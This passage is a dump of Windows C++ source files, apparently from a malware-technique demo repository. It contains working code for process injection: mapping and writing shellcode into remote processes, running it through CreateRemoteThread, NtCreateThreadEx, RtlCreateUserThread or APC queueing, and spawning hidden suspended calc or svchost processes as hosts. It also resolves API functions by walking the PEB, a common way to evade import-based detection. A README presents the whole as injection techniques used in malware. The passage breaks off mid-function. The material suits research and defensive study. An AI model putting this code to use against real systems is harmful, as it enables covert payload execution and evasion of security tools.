printf("Section BaseAddress: %p\n", sectionBaseAddress); 36 | 37 | memcpy (sectionBaseAddress, buffer, buffer_size); 38 | printf("Buffer copied!\n"); 39 | 40 | //map the new section into context of opened process 41 | PVOID sectionBaseAddress2 = NULL; 42 | if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS) 43 | { 44 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status); 45 | } 46 | 47 | //unmap from the context of current process 48 | ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress); 49 | ZwClose(hSection); 50 | 51 | printf("Section mapped at address: %p\n", sectionBaseAddress2); 52 | // return remote address of the new section, or NULL if failed to map 53 | return sectionBaseAddress2; 54 | } 55 | 56 | LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE) 57 | { 58 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect); 59 | if (remoteAddress == NULL) { 60 | printf("Could not allocate memory in the remote process\n"); 61 | return NULL; 62 | } 63 | if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) { 64 | VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE); 65 | return NULL; 66 | } 67 | return remoteAddress; 68 | } 69 | -------------------------------------------------------------------------------- /dll_injection/src/resource.h: -------------------------------------------------------------------------------- 1 | // resource.h 2 | 3 | #define MY_RESOURCE 101 4 | -------------------------------------------------------------------------------- /dll_injection/src/resource.rc: -------------------------------------------------------------------------------- 1 | // resource.rc : 2 | 3 | // Microsoft Visual C++ generated resource script. 4 | // 5 | #include "resource.h" 6 | 7 | #define APSTUDIO_READONLY_SYMBOLS 8 | ///////////////////////////////////////////////////////////////////////////// 9 | // 10 | // Generated from the TEXTINCLUDE 2 resource. 11 | // 12 | #include "windows.h" 13 | 14 | ///////////////////////////////////////////////////////////////////////////// 15 | #undef APSTUDIO_READONLY_SYMBOLS 16 | 17 | ///////////////////////////////////////////////////////////////////////////// 18 | 19 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_PLK) 20 | LANGUAGE LANG_ENGLISH, SUBLANG_DEFAULT 21 | 22 | #ifdef APSTUDIO_INVOKED 23 | ///////////////////////////////////////////////////////////////////////////// 24 | // 25 | // TEXTINCLUDE 26 | // 27 | 28 | 1 TEXTINCLUDE 29 | BEGIN 30 | "resource.h\0" 31 | END 32 | 33 | 2 TEXTINCLUDE 34 | BEGIN 35 | "#include ""windows.h""\r\n" 36 | "\0" 37 | END 38 | 39 | 3 TEXTINCLUDE 40 | BEGIN 41 | "\r\n" 42 | "\0" 43 | END 44 | 45 | #endif // APSTUDIO_INVOKED 46 | 47 | 48 | ///////////////////////////////////////////////////////////////////////////// 49 | // 50 | // RCDATA 51 | // 52 | 53 | MY_RESOURCE RCDATA "demo.bin" 54 | 55 | #endif 56 | ///////////////////////////////////////////////////////////////////////////// 57 | -------------------------------------------------------------------------------- /dll_injection/src/run.bat: -------------------------------------------------------------------------------- 1 | regsvr32.exe /s demo.bin -------------------------------------------------------------------------------- /dll_injection/src/sysutil.cpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "sysutil.h" 3 | 4 | #include 5 | #include 6 | 7 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); 8 | 9 | bool is_compiled_32b() 10 | { 11 | if (sizeof(LPVOID) == sizeof(DWORD)) { 12 | return true; 13 | } 14 | return false; 15 | } 16 | 17 | bool is_wow64() 18 | { 19 | LPFN_ISWOW64PROCESS fnIsWow64Process; 20 | BOOL bIsWow64 = false; 21 | 22 | //IsWow64Process is not available on all supported versions of Windows. 23 | //Use GetModuleHandle to get a handle to the DLL that contains the function 24 | //and GetProcAddress to get a pointer to the function if available. 25 | 26 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process"); 27 | if (fnIsWow64Process == NULL) { 28 | return false; 29 | } 30 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) { 31 | return false; 32 | } 33 | if (bIsWow64 == TRUE) { 34 | return true; //64 bit 35 | } 36 | return false; //32 bit 37 | } 38 | 39 | bool is_system32b() 40 | { 41 | //is the current application 32 bit? 42 | if (!is_compiled_32b()) { 43 | return false; 44 | } 45 | //check if it is running under WoW 46 | if (is_wow64()) { 47 | return false; 48 | } 49 | return true; 50 | } 51 | -------------------------------------------------------------------------------- /dll_injection/src/sysutil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool is_compiled_32b(); 4 | bool is_wow64(); 5 | bool is_system32b(); 6 | -------------------------------------------------------------------------------- /dll_injection/src/target_util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath) 4 | { 5 | HKEY phkResult; 6 | DWORD iMaxLen = szOutPath; 7 | 8 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult); 9 | if (res != ERROR_SUCCESS) { 10 | printf("[ERROR] Failed with value = %x\n", res); 11 | return false; 12 | } 13 | 14 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen); 15 | if (res != ERROR_SUCCESS) { 16 | printf("[ERROR] Failed with value = %x\n", res); 17 | return false; 18 | } 19 | printf("%S\n", lpwOutPath ); 20 | return true; 21 | } 22 | 23 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath) 24 | { 25 | #if defined(_WIN64) 26 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath); 27 | #else 28 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath); 29 | #endif 30 | printf("%S\n", lpwOutPath); 31 | return true; 32 | } 33 | 34 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath) 35 | { 36 | #if defined(_WIN64) 37 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath); 38 | #else 39 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath); 40 | #endif 41 | printf("%S\n", lpwOutPath); 42 | return true; 43 | } 44 | 45 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath) 46 | { 47 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath); 48 | printf("%S\n", lpwOutPath ); 49 | return true; 50 | } 51 | -------------------------------------------------------------------------------- /functions_loader/README.md: -------------------------------------------------------------------------------- 1 | # functions_loader 2 | Demo showing how to retrieve handles to the functions exported from Kernel32.dll with the help of PEB
3 | The demo contains 32bit and 64bit versions. 4 | -------------------------------------------------------------------------------- /functions_loader/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 2.8...3.21 ) 2 | project (FunctionsLoader) 3 | 4 | add_definitions(-DUNICODE -D_UNICODE) 5 | 6 | set (srcs 7 | main.cpp 8 | pe_hdrs_helper.cpp 9 | ) 10 | 11 | set (hdrs 12 | ntddk.h 13 | pe_hdrs_helper.h 14 | peb_lookup.h 15 | exports_lookup.h 16 | 17 | usage_demo.h 18 | test.h 19 | ) 20 | 21 | add_executable (FunctionsLoader ${hdrs} ${srcs}) 22 | 23 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 24 | -------------------------------------------------------------------------------- /functions_loader/src/exports_lookup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | // version for 32bit PE 5 | // WARNIG: we don't want to use any imported functions in here! 6 | 7 | #include "pe_hdrs_helper.h" 8 | 9 | /* 10 | typedef struct _IMAGE_EXPORT_DIRECTORY { 11 | DWORD Characteristics; 12 | DWORD TimeDateStamp; 13 | WORD MajorVersion; 14 | WORD MinorVersion; 15 | DWORD Name; 16 | DWORD Base; 17 | DWORD NumberOfFunctions; 18 | DWORD NumberOfNames; 19 | DWORD AddressOfFunctions; // RVA from base of image 20 | DWORD AddressOfNames; // RVA from base of image 21 | DWORD AddressOfNameOrdinals; // RVA from base of image 22 | } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; 23 | */ 24 | 25 | #ifndef TO_LOWERCASE 26 | #define TO_LOWERCASE(c1) c1 = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1; 27 | #endif 28 | 29 | bool is_wanted_func(LPSTR curr_name, LPSTR wanted_name) 30 | { 31 | if (curr_name == NULL || wanted_name == NULL) return false; 32 | 33 | size_t wanted_name_len = strlen(wanted_name); 34 | size_t curr_name_len = strlen(curr_name); 35 | 36 | if (curr_name_len != wanted_name_len) return false; 37 | 38 | for (size_t i = 0; i < wanted_name_len; i++) { 39 | char c1 = curr_name[i]; 40 | char c2 = wanted_name[i]; 41 | TO_LOWERCASE(c1); 42 | TO_LOWERCASE(c2); 43 | if (c1 != c2) return false; 44 | } 45 | return true; 46 | } 47 | 48 | //WARNING: this is a minimalistic version - it doesn't work for the forwarded functions: 49 | PVOID get_exported_func(PVOID modulePtr, LPSTR wanted_name) 50 | { 51 | IMAGE_DATA_DIRECTORY *exportsDir = get_pe_directory(modulePtr, IMAGE_DIRECTORY_ENTRY_EXPORT); 52 | if (exportsDir == NULL) return NULL; 53 | 54 | DWORD expAddr = exportsDir->VirtualAddress; 55 | if (expAddr == 0) return NULL; 56 | 57 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR) modulePtr); 58 | SIZE_T namesCount = exp->NumberOfNames; 59 | 60 | DWORD funcsListRVA = exp->AddressOfFunctions; 61 | DWORD funcNamesListRVA = exp->AddressOfNames; 62 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; 63 | 64 | //go through names: 65 | for (SIZE_T i = 0; i < namesCount; i++) { 66 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*) modulePtr + i * sizeof(DWORD)); 67 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*) modulePtr + i * sizeof(WORD)); 68 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*) modulePtr + (*nameIndex) * sizeof(DWORD)); 69 | 70 | LPSTR name = (LPSTR)(*nameRVA + (BYTE*) modulePtr); 71 | if (is_wanted_func(name, wanted_name)) { 72 | return (BYTE*) modulePtr + (*funcRVA); 73 | } 74 | } 75 | //function not found 76 | return NULL; 77 | } 78 | -------------------------------------------------------------------------------- /functions_loader/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "peb_lookup.h" 5 | #include "exports_lookup.h" 6 | 7 | #include "usage_demo.h" 8 | #include "test.h" 9 | 10 | int main(int argc, char *argv[]) 11 | { 12 | if (!test_loading()) { 13 | system("pause"); 14 | return -1; 15 | } 16 | load_and_popup(); 17 | system("pause"); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /functions_loader/src/pe_hdrs_helper.cpp: -------------------------------------------------------------------------------- 1 | #include "pe_hdrs_helper.h" 2 | 3 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer) 4 | { 5 | if (pe_buffer == NULL) return NULL; 6 | 7 | IMAGE_DOS_HEADER *idh = NULL; 8 | IMAGE_NT_HEADERS *inh = NULL; 9 | 10 | idh = (IMAGE_DOS_HEADER*)pe_buffer; 11 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) return NULL; 12 | inh = (IMAGE_NT_HEADERS *)((BYTE*)pe_buffer + idh->e_lfanew); 13 | return inh; 14 | } 15 | 16 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id) 17 | { 18 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 19 | 20 | //fetch relocation table from current image: 21 | PIMAGE_NT_HEADERS nt_headers = get_nt_hrds((BYTE*) pe_buffer); 22 | if (nt_headers == NULL) return NULL; 23 | 24 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]); 25 | if (peDir->VirtualAddress == NULL) { 26 | return NULL; 27 | } 28 | return peDir; 29 | } 30 | -------------------------------------------------------------------------------- /functions_loader/src/pe_hdrs_helper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | IMAGE_NT_HEADERS* get_nt_hrds(BYTE *pe_buffer); 5 | IMAGE_DATA_DIRECTORY* get_pe_directory(PVOID pe_buffer, DWORD dir_id); 6 | -------------------------------------------------------------------------------- /functions_loader/src/peb_lookup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | //here we don't want to use any functions imported form extenal modules 7 | 8 | typedef struct _LDR_MODULE { 9 | LIST_ENTRY InLoadOrderModuleList;// +0x00 10 | LIST_ENTRY InMemoryOrderModuleList;// +0x08 11 | LIST_ENTRY InInitializationOrderModuleList;// +0x10 12 | void* BaseAddress; // +0x18 13 | void* EntryPoint; // +0x1c 14 | ULONG SizeOfImage; 15 | UNICODE_STRING FullDllName; 16 | UNICODE_STRING BaseDllName; 17 | ULONG Flags; 18 | SHORT LoadCount; 19 | SHORT TlsIndex; 20 | HANDLE SectionHandle; 21 | ULONG CheckSum; 22 | ULONG TimeDateStamp; 23 | } LDR_MODULE, *PLDR_MODULE; 24 | 25 | inline PPEB get_peb() 26 | { 27 | #if defined(_WIN64) 28 | return (PPEB)__readgsqword(0x60); 29 | #else 30 | return (PPEB)__readfsdword(0x30); 31 | /* 32 | //alternative way to fetch it: 33 | LPVOID PEB = NULL; 34 | __asm { 35 | mov eax, fs:[30h] 36 | mov PEB, eax 37 | }; 38 | return (PPEB)PEB; 39 | */ 40 | #endif 41 | } 42 | 43 | inline PLDR_MODULE get_ldr_module() 44 | { 45 | PPEB peb = get_peb(); 46 | if (peb == NULL) { 47 | return NULL; 48 | } 49 | PPEB_LDR_DATA ldr = peb->Ldr; 50 | LIST_ENTRY list = ldr->InLoadOrderModuleList; 51 | 52 | PLDR_MODULE Flink = *( ( PLDR_MODULE * )( &list ) ); 53 | return Flink; 54 | } 55 | 56 | inline WCHAR to_lowercase(WCHAR c1) 57 | { 58 | if (c1 <= L'Z' && c1 >= L'A') { 59 | c1 = (c1 - L'A') + L'a'; 60 | } 61 | return c1; 62 | } 63 | 64 | bool is_wanted_module(LPWSTR curr_name, LPWSTR wanted_name) 65 | { 66 | if (wanted_name == NULL || curr_name == NULL) return false; 67 | 68 | WCHAR *curr_end_ptr = curr_name; 69 | while (*curr_end_ptr != L'\0') { 70 | curr_end_ptr++; 71 | } 72 | if (curr_end_ptr == curr_name) return false; 73 | 74 | WCHAR *wanted_end_ptr = wanted_name; 75 | while (*wanted_end_ptr != L'\0') { 76 | wanted_end_ptr++; 77 | } 78 | if (wanted_end_ptr == wanted_name) return false; 79 | 80 | while ((curr_end_ptr != curr_name) && (wanted_end_ptr != wanted_name)) { 81 | 82 | if (to_lowercase(*wanted_end_ptr) != to_lowercase(*curr_end_ptr)) { 83 | return false; 84 | } 85 | wanted_end_ptr--; 86 | curr_end_ptr--; 87 | } 88 | return true; 89 | } 90 | 91 | LPVOID get_module_base(LPWSTR module_name) 92 | { 93 | PLDR_MODULE curr_module = get_ldr_module(); 94 | while (curr_module != NULL && curr_module->BaseAddress != NULL) { 95 | if (is_wanted_module(curr_module->BaseDllName.Buffer, module_name)) { 96 | return curr_module->BaseAddress; 97 | } 98 | curr_module = (PLDR_MODULE) curr_module->InLoadOrderModuleList.Flink; 99 | } 100 | return NULL; 101 | } 102 | -------------------------------------------------------------------------------- /functions_loader/src/test.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | //tries to fetch module base via PEB, 6 | //compares the result with output of analogical function GetModuleHandleW 7 | LPVOID test_fetching_module(LPWSTR libName) 8 | { 9 | LPVOID base = get_module_base(libName); 10 | if (base == GetModuleHandleW(libName)) { 11 | printf("[OK] %S : %p\n", libName, base); 12 | return base; 13 | } 14 | printf("[FAILED] %S\n", libName); 15 | return NULL; 16 | } 17 | 18 | //tries to fetch module base via export table, 19 | //compares the result with output of analogical function GetProcAddress 20 | LPVOID test_fetching_func(HMODULE hModule, LPSTR funcName) 21 | { 22 | LPVOID hFunc = get_exported_func(hModule, funcName); 23 | if (hFunc == GetProcAddress((HMODULE)hModule, funcName)) { 24 | printf("[OK] %s : %p\n", funcName, hFunc); 25 | return hFunc; 26 | } 27 | printf("[FAILED] %s\n", funcName); 28 | return NULL; 29 | } 30 | 31 | bool test_loading() 32 | { 33 | LPVOID base = test_fetching_module(L"kernel32.dll"); 34 | if (!base) { 35 | return false; 36 | } 37 | 38 | if (!test_fetching_func((HMODULE) base, "LoadLibraryA")) { 39 | return false; 40 | } 41 | if (!test_fetching_func((HMODULE) base, "GetProcAddress")) { 42 | return false; 43 | } 44 | if (!test_fetching_func((HMODULE) base, "NeedCurrentDirectoryForExePathW")) { 45 | return false; 46 | } 47 | printf("All tests passed!\n"); 48 | return true; 49 | } 50 | -------------------------------------------------------------------------------- /functions_loader/src/usage_demo.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/demos/96ae61e323d49d75799c94bca94279052afc809d/functions_loader/src/usage_demo.h -------------------------------------------------------------------------------- /inject_shellcode/README.md: -------------------------------------------------------------------------------- 1 | # inject_shellcode 2 | Small compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode
3 | 4 | Various objects of injection:
5 | + existing process (found by name) 6 | + newly created process 7 | 8 | Demonstrated methods:
9 | + Running shellcode in a new thread 10 | + Adding shellcode into existing thread (using NtQueueApcThread) 11 | + Patching Entry Point of the process 12 | + Patching context of the process 13 | + Injecting into Tray Window (using SetWindowLong) 14 | -------------------------------------------------------------------------------- /inject_shellcode/src/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required ( VERSION 2.8...3.21 ) 2 | project (Injections) 3 | 4 | add_definitions(-DUNICODE -D_UNICODE) 5 | 6 | set (srcs 7 | main.cpp 8 | window_long_inject.cpp 9 | sysutil.cpp 10 | pe_hdrs_helper.cpp 11 | ) 12 | 13 | set (hdrs 14 | main.h 15 | ntddk.h 16 | ntdll_undoc.h 17 | kernel32_undoc.h 18 | map_buffer_into_process.h 19 | target_util.h 20 | payload.h 21 | createproc.h 22 | add_thread.h 23 | add_apc.h 24 | patch_ep.h 25 | patch_context.h 26 | window_long_inject.h 27 | enumproc.h 28 | sysutil.h 29 | pe_hdrs_helper.h 30 | ) 31 | 32 | add_executable (Injections ${hdrs} ${srcs}) 33 | 34 | INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} ) 35 | -------------------------------------------------------------------------------- /inject_shellcode/src/add_apc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "ntdll_undoc.h" 4 | 5 | bool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr) 6 | { 7 | #if defined(_WIN64) 8 | printf("[ERROR] 64bit version of this method is not implemented!\n"); 9 | return false; 10 | #else 11 | printf("Adding shellcode to the queue\n"); 12 | NTSTATUS status = NULL; 13 | 14 | if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS) 15 | { 16 | printf("[ERROR] NtQueueApcThread failed, status : %x\n", status); 17 | return false; 18 | } 19 | return true; 20 | #endif 21 | } 22 | -------------------------------------------------------------------------------- /inject_shellcode/src/add_thread.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "ntddk.h" 4 | #include "ntdll_undoc.h" 5 | 6 | typedef enum { 7 | usingRandomMethod, 8 | usingCreateRemoteThread, 9 | usingNtCreateThreadEx, 10 | usingRtlCreateUserThread, 11 | CREATION_METHODS_SIZE 12 | } THREAD_CREATION_METHOD; 13 | 14 | bool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr) 15 | { 16 | NTSTATUS status = NULL; 17 | //create a new thread for the injected code: 18 | LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr; 19 | 20 | DWORD threadId = NULL; 21 | HANDLE hMyThread = NULL; 22 | if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) { 23 | printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError()); 24 | return false; 25 | } 26 | printf("Created Thread, id = %x\n", threadId); 27 | printf("Resuming added thread...\n"); 28 | ResumeThread(hMyThread); //injected code 29 | return true; 30 | } 31 | 32 | bool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr) 33 | { 34 | NTSTATUS status = NULL; 35 | HANDLE hMyThread = NULL; 36 | //create a new thread for the injected code: 37 | if ((status = NtCreateThreadEx( 38 | &hMyThread, 39 | THREAD_ALL_ACCESS, 40 | NULL, 41 | hProcess, 42 | (LPTHREAD_START_ROUTINE) remote_shellcode_ptr, 43 | NULL, 44 | CREATE_SUSPENDED, 45 | 0, 46 | 0, 47 | 0, 48 | NULL) 49 | ) != STATUS_SUCCESS) 50 | { 51 | printf("[ERROR] NtCreateThreadEx failed, status : %x\n", status); 52 | return false; 53 | } 54 | printf("Created Thread, id = %x\n", GetThreadId(hMyThread)); 55 | printf("Resuming added thread...\n"); 56 | ResumeThread(hMyThread); //injected code 57 | return true; 58 | } 59 | 60 | bool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr) 61 | { 62 | NTSTATUS status = NULL; 63 | HANDLE hMyThread = NULL; 64 | CLIENT_ID cid; 65 | //create a new thread for the injected code: 66 | 67 | if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS) 68 | { 69 | printf("[ERROR] RtlCreateUserThread failed, status : %x\n", status); 70 | return false; 71 | } 72 | printf("Created Thread, id = %x\n", GetThreadId(hMyThread)); 73 | printf("Resuming added thread...\n"); 74 | ResumeThread(hMyThread); //injected code 75 | return true; 76 | } 77 | 78 | //--- 79 | bool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method) 80 | { 81 | bool isSuccess = false; 82 | DWORD max = CREATION_METHODS_SIZE - 1; 83 | DWORD random = (GetTickCount() * 1000) % max + 1; 84 | if (method > max || method <= usingRandomMethod) method = random; 85 | 86 | printf("Injecting by method, id = %x\n", method); 87 | switch (method) { 88 | case usingCreateRemoteThread: 89 | isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr); 90 | break; 91 | case usingNtCreateThreadEx: 92 | isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr); 93 | break; 94 | case usingRtlCreateUserThread: 95 | isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr); 96 | break; 97 | default: 98 | return false; 99 | } 100 | return isSuccess; 101 | } 102 | -------------------------------------------------------------------------------- /inject_shellcode/src/createproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "kernel32_undoc.h" 3 | 4 | bool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL) 5 | { 6 | STARTUPINFO si; 7 | memset(&si, 0, sizeof(STARTUPINFO)); 8 | si.cb = sizeof(STARTUPINFO); 9 | 10 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 11 | 12 | if (!CreateProcess( 13 | NULL, 14 | cmdLine, 15 | NULL, //lpProcessAttributes 16 | NULL, //lpThreadAttributes 17 | FALSE, //bInheritHandles 18 | DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags 19 | NULL, //lpEnvironment 20 | startDir, //lpCurrentDirectory 21 | &si, //lpStartupInfo 22 | &pi //lpProcessInformation 23 | )) 24 | { 25 | printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError()); 26 | return false; 27 | } 28 | return true; 29 | } 30 | 31 | bool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL) 32 | { 33 | STARTUPINFO si; 34 | memset(&si, 0, sizeof(STARTUPINFO)); 35 | si.cb = sizeof(STARTUPINFO); 36 | 37 | memset(&pi, 0, sizeof(PROCESS_INFORMATION)); 38 | 39 | HANDLE hToken = NULL; 40 | HANDLE hNewToken = NULL; 41 | if (!CreateProcessInternalW (hToken, 42 | NULL, //lpApplicationName 43 | (LPWSTR) cmdLine, //lpCommandLine 44 | NULL, //lpProcessAttributes 45 | NULL, //lpThreadAttributes 46 | FALSE, //bInheritHandles 47 | CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags 48 | NULL, //lpEnvironment 49 | startDir, //lpCurrentDirectory 50 | &si, //lpStartupInfo 51 | &pi, //lpProcessInformation 52 | &hNewToken 53 | )) 54 | { 55 | printf("[ERROR] CreateProcessInternalW failed, Error = %x\n", GetLastError()); 56 | return false; 57 | } 58 | return true; 59 | } 60 | -------------------------------------------------------------------------------- /inject_shellcode/src/enumproc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax) 5 | { 6 | HMODULE hMod; 7 | DWORD cbNeeded; 8 | 9 | if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) { 10 | GetModuleBaseName( hProcess, hMod, nameBuf, nameMax ); 11 | return true; 12 | } 13 | return false; 14 | } 15 | 16 | bool is_searched_process( DWORD processID, LPWSTR searchedName) 17 | { 18 | HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID ); 19 | if (hProcess == NULL) return false; 20 | 21 | WCHAR szProcessName[MAX_PATH]; 22 | if (get_process_name(hProcess, szProcessName, MAX_PATH)) { 23 | if (wcsstr(szProcessName, searchedName) != NULL) { 24 | printf( "%S (PID: %u)\n", szProcessName, processID ); 25 | CloseHandle(hProcess); 26 | return true; 27 | } 28 | } 29 | CloseHandle(hProcess); 30 | return false; 31 | } 32 | 33 | HANDLE find_running_process(LPWSTR searchedName) 34 | { 35 | DWORD aProcesses[1024], cbNeeded, cProcesses; 36 | unsigned int i; 37 | 38 | if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) { 39 | return NULL; 40 | } 41 | 42 | //calculate how many process identifiers were returned. 43 | cProcesses = cbNeeded / sizeof(DWORD); 44 | 45 | //search handle to the process of defined name 46 | for ( i = 0; i < cProcesses; i++ ) { 47 | if( aProcesses[i] != 0 ) { 48 | if (is_searched_process(aProcesses[i], searchedName)) { 49 | HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]); 50 | return hProcess; 51 | } 52 | } 53 | } 54 | return NULL; 55 | } 56 | -------------------------------------------------------------------------------- /inject_shellcode/src/kernel32_undoc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | //don't forget to load functiond before use: 6 | //load_kernel32_functions(); 7 | // 8 | 9 | BOOL 10 | (WINAPI *CreateProcessInternalW)(HANDLE hToken, 11 | LPCWSTR lpApplicationName, 12 | LPWSTR lpCommandLine, 13 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 14 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 15 | BOOL bInheritHandles, 16 | DWORD dwCreationFlags, 17 | LPVOID lpEnvironment, 18 | LPCWSTR lpCurrentDirectory, 19 | LPSTARTUPINFOW lpStartupInfo, 20 | LPPROCESS_INFORMATION lpProcessInformation, 21 | PHANDLE hNewToken 22 | ); 23 | 24 | 25 | BOOL load_kernel32_functions() 26 | { 27 | HMODULE hKernel32 = GetModuleHandleA("kernel32"); 28 | CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW"); 29 | if (CreateProcessInternalW == NULL) return FALSE; 30 | 31 | return TRUE; 32 | } 33 | -------------------------------------------------------------------------------- /inject_shellcode/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "main.h" 6 | #include "createproc.h" 7 | #include "enumproc.h" 8 | 9 | #include "payload.h" 10 | #include "map_buffer_into_process.h" 11 | #include "sysutil.h" 12 | 13 | typedef enum { 14 | ADD_THREAD, 15 | ADD_APC, 16 | PATCH_EP, 17 | PATCH_CONTEXT 18 | } INJECTION_POINT; 19 | 20 | typedef enum { 21 | EXISTING_PROC = 0, 22 | NEW_PROC, 23 | TRAY_WINDOW, 24 | TARGET_TYPE_COUNT 25 | } TARGET_TYPE; 26 | 27 | using namespace std; 28 | 29 | bool inject_in_new_process(INJECTION_POINT mode) 30 | { 31 | //get target path 32 | WCHAR cmdLine[MAX_PATH]; 33 | get_calc_path(cmdLine, MAX_PATH); 34 | 35 | WCHAR startDir[MAX_PATH]; 36 | if (!get_dir(cmdLine, startDir)) { 37 | 